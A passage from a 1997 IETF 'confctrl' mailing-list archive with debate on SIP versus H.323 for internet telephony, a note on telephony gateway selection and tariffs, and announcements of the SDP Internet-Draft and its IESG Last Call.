National University of Singapore   Fax:           +65-7751910
10 Kent Ridge Crescent             SMTP:  eng40607@nus.edu.sg
Singapore 119260                   HTTP: mip.ee.nus.sg/~amlan
-------------------------------------------------------------




From confctrl-owner  Sat Dec 13 12:28:39 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA28023
	for confctrl-outgoing; Sat, 13 Dec 1997 12:28:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA28018
	for <confctrl@zephyr.isi.edu>; Sat, 13 Dec 1997 12:28:38 -0800 (PST)
Received: from HQ.Cisco.COM (hq.cisco.com [161.44.72.2])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA00683
	for <CONFCTRL@ISI.EDU>; Sat, 13 Dec 1997 12:28:37 -0800 (PST)
Received: by HQ.Cisco.COM; Sat, 13 Dec 1997 12:28:02 -0800
Date: Sat, 13 Dec 1997 12:28:02 -0800
From: Dan Wing <dwing@Cisco.COM>
To: mbenson@gmu.edu
CC: CONFCTRL@ISI.EDU
Message-Id: <971213122802.20262620@Cisco.COM>
Subject: RE: H.323
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I know it is very late in the game for this, but does anyone share this
>concern and can anything be done about it from the political/IETF arena?
>Is perhaps an IETF based set of protocols appropriate?

It may very well be too late for SIP (and related protocols) versus H.323
(and related protocols).  For voice-over-IP, vendors are building products
using H.323 because the standard exists.

This is happening again in fax.  Both IETF and ITU are defining competing
standards for fax over SMTP; coordination is difficult when the market is
pushing for interoperating products "now" but correct engineering takes
awhile, especially educating people without knowledge of the Internet about
the Internet, and educating people without knowledge of fax about fax. 
There will be a flurry of activity on the IETF-FAX mailing list as we try to
create a standard that will more-or-less acceptable to both groups. 

In the future, such problems can only be resolved by getting standards out 
the door quickly and efficiently, concentrating on what is necessary to 
build a product that solves the immediate problems while allowing for later 
extensions for what is perceived to be important for "version 2".

(Above is my personal opinion only.)

-Dan Wing

From confctrl-owner  Sun Dec 14 06:15:51 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA07986
	for confctrl-outgoing; Sun, 14 Dec 1997 06:15:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07981
	for <confctrl@zephyr.isi.edu>; Sun, 14 Dec 1997 06:15:49 -0800 (PST)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16713
	for <CONFCTRL@ISI.EDU>; Sun, 14 Dec 1997 06:15:48 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id JAA04354; Sun, 14 Dec 1997 09:15:17 -0500 (EST)
Received: from imeid02.mcit.com.mci.com (imeid02.mcit.com [166.37.221.14])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id IAA08278; Sun, 14 Dec 1997 08:15:16 -0600 (CST)
Received: from sinnreich1 ([166.41.36.86]) by imeid02.mcit.com.mci.com
          (Intermail v3.1 117 234) with SMTP
          id <19971214141516.IGYD28757@[166.41.36.86]>;
          Sun, 14 Dec 1997 08:15:16 -0600
Received: by localhost with Microsoft MAPI; Sun, 14 Dec 1997 08:11:16 -0600
Message-ID: <01BD0867.D98EA5A0.henry.sinnreich@mci.com>
From: Henry Sinnreich <henry.sinnreich@mci.com>
To: "'Dan Wing'" <dwing@Cisco.COM>, "mbenson@gmu.edu" <mbenson@gmu.edu>
Cc: "CONFCTRL@ISI.EDU" <CONFCTRL@ISI.EDU>
Subject: RE: H.323
Date: Sun, 14 Dec 1997 08:11:11 -0600
Organization: MCI
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Saturday, December 13, 1997 2:28 PM, Dan Wing [SMTP:dwing@Cisco.COM] 
wrote:

> It may very well be too late for SIP (and related protocols) versus H.323
> (and related protocols).  For voice-over-IP, vendors are building 
products
> using H.323 because the standard exists.

Glad to have observed quite the contrary:

The 12/10 IETF BOF for SIP Telephony was extremely well attended by vendors 
and users alike. At a 2nd meeting, at the MMUSIC session that day, SIP was 
again a topic of high interest and to my recollection, due to the numerous 
new features proposed lately, not due to any lack of interest or technical 
problems. SIP was the topic the 3rd time at the PINT WG, since it matters 
there as well.

Anyone wanting to roll out effective products for IP telephony or 
conferencing, would just be too hard pressed to pass up the many benefits 
of SIP for rich communications and low development costs. Please check out 
a sample of what was presented at http://www.cs.columbia.edu/~hgs/sip/se  
rvices.html

I believe there may well be soon convergence between SIP and H.323, 
possibly as a H.323 version 3.

Henry


> This is happening again in fax.  Both IETF and ITU are defining competing
> standards for fax over SMTP; coordination is difficult when the market is
> pushing for interoperating products "now" but correct engineering takes
> awhile, especially educating people without knowledge of the Internet 
about
> the Internet, and educating people without knowledge of fax about fax.
> There will be a flurry of activity on the IETF-FAX mailing list as we try 
to
> create a standard that will more-or-less acceptable to both groups.
>
> In the future, such problems can only be resolved by getting standards 
out
> the door quickly and efficiently, concentrating on what is necessary to
> build a product that solves the immediate problems while allowing for 
later
> extensions for what is perceived to be important for "version 2".
>
> (Above is my personal opinion only.)
>
> -Dan Wing
>




From confctrl-owner  Sun Dec 14 09:20:21 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09325
	for confctrl-outgoing; Sun, 14 Dec 1997 09:20:21 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09320
	for <confctrl@zephyr.isi.edu>; Sun, 14 Dec 1997 09:20:20 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id JAA29888
	for <confctrl@ISI.EDU>; Sun, 14 Dec 1997 09:20:17 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15064-0@bells.cs.ucl.ac.uk>; Sun, 14 Dec 1997 17:20:13 +0000
To: confctrl@ISI.EDU
Subject: siptel - comment on a possible problem
Date: Sun, 14 Dec 1997 17:20:12 +0000
Message-ID: <2251.882120012@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



a note from an aside i made in response to a remark from an ETSI
person at the siptel bof....

from the fact that telephony calls are pairs of unidirectional
channels, so that an SIPTEL (Internet Telephony to PSTN gatway) may
have to support assymetric channel conversions (e.g. 
phone -> PC one way and phone -> PC in return) so that the call time
translation of I-Ds must be done for called _and_ calling
party....(this does NOT imply a one-one mapping of i-d spaecs from
E.163 to SIP i-ds though at all  - its at call time, so it can be
dynamic - its based on all kids of factors...


and a more extensive problem.....:

rest of this thread now mves to siptel list....
(as should the h.323 versus SIP skirmish, imho)
------- Forwarded Message

Return-Path: <J.Crowcroft@cs.ucl.ac.uk>
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10703-0@bells.cs.ucl.ac.uk>; Fri, 12 Dec 1997 10:06:33 +0000
To: siptel@lists.research.bell-labs.com
cc: J.Crowcroft@cs.ucl.ac.uk
Subject: siptel billing and gateway location
Date: Fri, 12 Dec 1997 10:06:33 +0000
Message-ID: <817.881921193@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>


i may have become hyper-sensitized to the problems regulatory
bodies see since being involkved in the UK Office of
Telecommunications (OFTel) oversight on IP  but,
ok - so i think there is a very notty problem that we need to steer
around with gateway location for internet telephony and PSTN
interworking (and this relates to the simplest case, not just the
complexc case of a multiple gateway path made out of pieces of (n IP
hop) internet path and (n exchange hop) pstn path....

in the simple case, we want to find a "best" gateway by some
metric...fit for calling some particlar sip i-d....

lets take the case of an IP host calling an id which has already
mapped to a phone number, so we need to go over a piece of internet to
a gateway, then over a piece of PSTN to the phone....

so (as per Brian Carpenter's wise comment as IAB that we MUST not
specify field values that indicate a choice of business practice) 
a simple way to implement gateway _CHOICE_ is that we specify an opaque
field which is an INDEX to a tariff structure; which tariff structure?
well, the one _each_ ISP's SIPTEL gateways advertise - how they
advertise this tariff structure is COMPLETELY out of scope from
SIPTEL work - could be by fax, email, web, TV advertise, etc....

a tariff structure, note, is not simply a list of price per value of
metric - it could look like this

Tariff for ISP#93's Siptel gateway

Index		Tariff
0		no fee
1 		price = A$ * Volume + B$ * Time + C for call +D
2		price = 23$ per call
3 		price is negotiated thru billing protocol 25
4		price is C + carrier select
5		price is C + ATT long haul + billing protocol 25
etc

and Tariff for ISP#13's Siptel gateway
Index		Tariff
0		price = 6$
1 		Diffie Hellman challenge response for subscription id, then free
2		flat fee per call, but time of day dependant


ok, so then when i do gateway selection, i send 2 things, the phone
number, and the index (based on the assumption that as an Internet
user, i have had access to the tarrif structures, and picked the ISP
of choice, anbd am now just asking for the best gateway (note this
might be hidden behind an aplication the client runs (or asks to run
from time to time) on the tarrif and might be presented as a simple
GUI (e.g. gimme the cheapest, or gimme the least likely to call block,
etc etc)




Ok, so problem statrement time

the reason i want to select gateways is to get choice, but the reason
the ISP wants to give multiple gateways is to load balance (at least).
But to load balance, the gaterways must all exchange the load
information; and if the load information is to be meaningful, it must
be PER metric, and be flooded to all gateways under consideration...
(if we allowed the gasteways to send the metrics to the client over
sip, then one could just move a simpler load metric between servers at
low freqwuency....)

so the problem arises where 
provider 1 is a phone company using
nortel, ericsson, ntt, lucent or other phone ecxchanges newly recoded
to run sip gateways on every line card - these modest devices might
suppport 100,000 simulataneous siptel users

provider 2 is a typical big ISP who buy lots of small boxes (e.g. PCs
with dialogics line cards in) 

provider two sees 2 problems
i) the traffic from flooding might_ be very high to get the
responsiveness of the load balance that is achieved trivially by
provider 1, which is unfair
ii) even if we damp the flooding and use redirect to move siptel users
to lighter loaded gateways, provider 2 would see higher call setup
lantency which is unfair...


middle path
now, we know that in general a lot of phone companies who are ISPs are
also moving to more distributed telephony exchanges anyway, and so one
could just ask them to open up the protocol _inside_ such a
distributed exchange (a la pint, maybe) to allow competitors to use 
the PSTN side load info to distribute provider 2's gateway load!

alternatively ,we could say that if someone chooses to offer scalable
siptel who isn;t a telephone company, well then they should blame the
phone company:-)

alternatively.......?


jon 

when we go to the multihop case, things get better and the y also get
worse....

we could use BGP to exchange state between the siptel gateways, and
use a link monitoring protocol to (and maybe MIB and other siptel
configuration data) to feed into thois, and then use circuit routing
protoc ols on top of this to make the call route decision (crank
back?, trunk routing? random ?)

------- End of Forwarded Message


From confctrl-owner  Sun Dec 14 09:39:37 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09440
	for confctrl-outgoing; Sun, 14 Dec 1997 09:39:37 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09435
	for <confctrl@zephyr.isi.edu>; Sun, 14 Dec 1997 09:39:36 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id JAA29975
	for <CONFCTRL@ISI.EDU>; Sun, 14 Dec 1997 09:39:35 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15652-0@bells.cs.ucl.ac.uk>; Sun, 14 Dec 1997 17:39:13 +0000
To: Dan Wing <dwing@Cisco.COM>
cc: mbenson@gmu.edu, CONFCTRL@ISI.EDU, J.Crowcroft@cs.ucl.ac.uk
Subject: Re: H.323 - or Not Gates....
In-reply-to: Your message of "Sat, 13 Dec 1997 12:28:02 PST." <971213122802.20262620@Cisco.COM>
Date: Sun, 14 Dec 1997 17:39:11 +0000
Message-ID: <2447.882121151@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <971213122802.20262620@Cisco.COM>, Dan Wing typed:

 //>I know it is very late in the game for this, but does anyone share this
 //>concern and can anything be done about it from the political/IETF arena?
 //>Is perhaps an IETF based set of protocols appropriate?
 
 //It may very well be too late for SIP (and related protocols) versus H.323
 //(and related protocols).  For voice-over-IP, vendors are building products
 //using H.323 because the standard exists.

um, its never too late for end systems software, especially not for
applications software such as call contol protocols - 

i personally find the argument difficulat to sustain for/agaist h.323
for fat client s/w, but for thin client (read "not gates " or
palmtop/pilot or anything where we don;t want to waste batteries
supporting MS-ware) and for thin serve/gateway (e.g. on processor on
line card in _existing large scale digital phone exchanges) h.323
simply DOESNT fit. - when its changed to fit (e.g. H.323 "lite", it
will, but that puts it on a level playing field vis-a-vis protocol
standards and SIP....

thin (not gates, e.g. psion's o-o operating system, or the newtons, or
the java vm, or even the playstation os (now there is a niche product
idea - internet  telephone on a java vm on the playstation:-)), would
all benefit more from sip...

but sip (and other call control and conferencing protocol development)
 will benfit from a close reading of the h323 (as it does since there
are some h323 experts in mmusic and siptel) to see what the target
protocol size to _avoid_ is:-)
 //
 //This is happening again in fax.  Both IETF and ITU are defining competing
 //standards for fax over SMTP; coordination is difficult when the market is
 //pushing for interoperating products "now" but correct engineering takes
 //awhile, especially educating people without knowledge of the Internet about
 //the Internet, and educating people without knowledge of fax about fax. 
 //There will be a flurry of activity on the IETF-FAX mailing list as we try to
 //create a standard that will more-or-less acceptable to both groups. 
 //
 //In the future, such problems can only be resolved by getting standards out 
 //the door quickly and efficiently, concentrating on what is necessary to 
 //build a product that solves the immediate problems while allowing for later 
 //extensions for what is perceived to be important for "version 2".
 //
 //(Above is my personal opinion only.)
 //
 //-Dan Wing

 cheers

   jon


From confctrl-owner  Mon Dec 15 06:55:06 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23310
	for confctrl-outgoing; Mon, 15 Dec 1997 06:55:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23305
	for <confctrl@zephyr.isi.edu>; Mon, 15 Dec 1997 06:55:05 -0800 (PST)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11135
	for <CONFCTRL@ISI.EDU>; Mon, 15 Dec 1997 06:55:04 -0800 (PST)
Received: from Oranlt.cisco.com ([171.69.210.8]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id GAA14456; Mon, 15 Dec 1997 06:54:10 -0800 (PST)
Message-Id: <3.0.2.32.19971215095407.00ada94c@paleale.cisco.com>
X-Sender: oran@paleale.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
Date: Mon, 15 Dec 1997 09:54:07 -0500
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, Dan Wing <dwing@cisco.com>
From: "David R. Oran" <oran@cisco.com>
Subject: Re: H.323 - or Not Gates....
Cc: mbenson@gmu.edu, CONFCTRL@ISI.EDU, J.Crowcroft@cs.ucl.ac.uk
In-Reply-To: <2447.882121151@cs.ucl.ac.uk>
References: <Your message of "Sat, 13 Dec 1997 12:28:02 PST." <971213122802.20262620@Cisco.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The assumption, of course, is that SIP stays "thin". The evidence for this
proposition is itstelf rather "thin" if other people read the tea leaves
the way I do...

Cheers, Dave.

At 05:39 PM 12/14/97 +0000, Jon Crowcroft wrote:
>
>In message <971213122802.20262620@Cisco.COM>, Dan Wing typed:
>
> //>I know it is very late in the game for this, but does anyone share this
> //>concern and can anything be done about it from the political/IETF arena?
> //>Is perhaps an IETF based set of protocols appropriate?
> 
> //It may very well be too late for SIP (and related protocols) versus H.323
> //(and related protocols).  For voice-over-IP, vendors are building products
> //using H.323 because the standard exists.
>
>um, its never too late for end systems software, especially not for
>applications software such as call contol protocols - 
>
>i personally find the argument difficulat to sustain for/agaist h.323
>for fat client s/w, but for thin client (read "not gates " or
>palmtop/pilot or anything where we don;t want to waste batteries
>supporting MS-ware) and for thin serve/gateway (e.g. on processor on
>line card in _existing large scale digital phone exchanges) h.323
>simply DOESNT fit. - when its changed to fit (e.g. H.323 "lite", it
>will, but that puts it on a level playing field vis-a-vis protocol
>standards and SIP....
>
>thin (not gates, e.g. psion's o-o operating system, or the newtons, or
>the java vm, or even the playstation os (now there is a niche product
>idea - internet  telephone on a java vm on the playstation:-)), would
>all benefit more from sip...
>
>but sip (and other call control and conferencing protocol development)
> will benfit from a close reading of the h323 (as it does since there
>are some h323 experts in mmusic and siptel) to see what the target
>protocol size to _avoid_ is:-)
> //
> //This is happening again in fax.  Both IETF and ITU are defining competing
> //standards for fax over SMTP; coordination is difficult when the market is
> //pushing for interoperating products "now" but correct engineering takes
> //awhile, especially educating people without knowledge of the Internet
about
> //the Internet, and educating people without knowledge of fax about fax. 
> //There will be a flurry of activity on the IETF-FAX mailing list as we
try to
> //create a standard that will more-or-less acceptable to both groups. 
> //
> //In the future, such problems can only be resolved by getting standards
out 
> //the door quickly and efficiently, concentrating on what is necessary to 
> //build a product that solves the immediate problems while allowing for
later 
> //extensions for what is perceived to be important for "version 2".
> //
> //(Above is my personal opinion only.)
> //
> //-Dan Wing
>
> cheers
>
>   jon
>
>
>
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567 (don't leave voicemail)
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From confctrl-owner  Mon Dec 15 08:23:21 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25584
	for confctrl-outgoing; Mon, 15 Dec 1997 08:23:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25579
	for <confctrl@zephyr.isi.edu>; Mon, 15 Dec 1997 08:23:19 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA13589
	for <CONFCTRL@ISI.EDU>; Mon, 15 Dec 1997 08:23:18 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA11463; Mon, 15 Dec 1997 11:22:55 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "David R. Oran" <oran@cisco.com>
cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, Dan Wing <dwing@cisco.com>,
        mbenson@gmu.edu, CONFCTRL@ISI.EDU
Subject: Re: H.323 - or Not Gates.... 
In-reply-to: Your message of "Mon, 15 Dec 1997 09:54:07 EST."
             <3.0.2.32.19971215095407.00ada94c@paleale.cisco.com> 
Date: Mon, 15 Dec 1997 11:22:55 -0500
Message-ID: <11461.882202975@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>The assumption, of course, is that SIP stays "thin". The evidence for this
>proposition is itstelf rather "thin" if other people read the tea leaves
>the way I do...

Actually the compulsory part of SIP is still very "thin".

We are actively working to split the spec into a base spec and
specific extension specs, which should help people understand this,
and also help us freeze the base spec very soon now.

Mark

From confctrl-owner  Mon Dec 15 09:39:12 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00457
	for confctrl-outgoing; Mon, 15 Dec 1997 09:39:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00447
	for <confctrl@zephyr.isi.edu>; Mon, 15 Dec 1997 09:39:10 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17464
	for <CONFCTRL@ISI.EDU>; Mon, 15 Dec 1997 09:39:09 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA21543; Mon, 15 Dec 1997 12:39:07 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA11403; Mon, 15 Dec 1997 12:38:56 -0500 (EST)
Message-ID: <34956B2D.434A0BD4@cs.columbia.edu>
Date: Mon, 15 Dec 1997 12:38:53 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: "David R. Oran" <oran@cisco.com>
CC: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, Dan Wing <dwing@cisco.com>,
        mbenson@gmu.edu, CONFCTRL@ISI.EDU
Subject: Re: H.323 - or Not Gates....
References: <Your message of "Sat, 13 Dec 1997 12:28:02 PST." <971213122802.20262620@Cisco.COM> <3.0.2.32.19971215095407.00ada94c@paleale.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

David R. Oran wrote:
> 
> The assumption, of course, is that SIP stays "thin". The evidence for this
> proposition is itstelf rather "thin" if other people read the tea leaves
> the way I do...

While "thin" is somewhat in the eye of the beholder, I should point out
that the specification that adds full IN call control to SIP is 5 pages,
with another 6 or so pages of translation to "Bell-head speak". See the
http://www.cs.columbia.edu/~hgs/sip for the new draft-drafts. Not sure
which tea leaves you are reading, but there are no major extensions
planned to the base spec. (I'm usually the one accused of adding to it,
so I may know :-))

SIP has a reasonably straightforward extension mechanism that avoids
some of the profiling issues found elsewhere. For example, the ability
to do call control might be signaled using

Require: org.ietf.sip.call

(take the feature name with a grain of salt), so that there should never
be any doubt what features you support and do not support.

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 732 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Dec 23 07:05:02 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21177
	for confctrl-outgoing; Tue, 23 Dec 1997 07:05:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21172
	for <confctrl@zephyr.isi.edu>; Tue, 23 Dec 1997 07:05:00 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10728
	for <confctrl@isi.edu>; Tue, 23 Dec 1997 07:04:59 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id KAA08380;
	Tue, 23 Dec 1997 10:04:25 -0500 (EST)
Message-Id: <199712231504.KAA08380@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-05.txt,.ps
Date: Tue, 23 Dec 1997 10:04:25 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: V. Jacobson, M. Handley
	Filename	: draft-ietf-mmusic-sdp-05.txt,.ps
	Pages		: 35
	Date		: 22-Dec-97
	
     This document defines the Session Description  Protocol,  SDP.
     SDP  is  intended  for  describing multimedia sessions for the
     purposes of  session  announcement,  session  invitation,  and
     other forms of multimedia session initiation.
 
 
This document is a product of the Multiparty Multimedia Session  Control
(MMUSIC) working group of the Internet Engineering Task Force.  Comments
are solicited and should be addressed to  the  working  group's  mailing
list at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-05.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-05.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-05.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19971222123547.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-05.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19971222123547.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Dec 23 08:13:00 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23343
	for confctrl-outgoing; Tue, 23 Dec 1997 08:13:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23338
	for <confctrl@zephyr.isi.edu>; Tue, 23 Dec 1997 08:12:58 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12825
	for <confctrl@isi.edu>; Tue, 23 Dec 1997 08:12:57 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id LAA10424;
	Tue, 23 Dec 1997 11:12:49 -0500 (EST)
Message-Id: <199712231612.LAA10424@ns.ietf.org>
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ns.ietf.org>
SUBJECT: Last Call: SDP: Session Description Protocol to Proposed Standard
Reply-to: iesg@ns.ietf.org
Date: Tue, 23 Dec 1997 11:12:48 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The IESG has received a request from the Multiparty Multimedia Session
Control Working Group to consider SDP: Session Description Protocol
<draft-ietf-mmusic-sdp-05.txt, .ps> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by January 6, 1998.

Files can be obtained via
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-05.txt


From confctrl-owner  Tue Dec 30 03:12:44 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA13166
	for confctrl-outgoing; Tue, 30 Dec 1997 03:12:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA13159
	for <confctrl@zephyr.isi.edu>; Tue, 30 Dec 1997 03:12:43 -0800 (PST)
Received: from neptune.neptune.net (neptune.neptune.net [204.107.103.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA20403
	for <confctrl@isi.edu>; Tue, 30 Dec 1997 03:12:42 -0800 (PST)
From: hoec@aol.com
Received: from ronroy.neptune.net (ppp212.neptune.net [204.107.103.212]) by neptune.neptune.net (8.7.5/8.7.3) with SMTP id DAA19591 for confctrl@isi.edu; Tue, 30 Dec 1997 03:10:46 -0800 (PST)
Date: Tue, 30 Dec 1997 03:10:46 -0800 (PST)
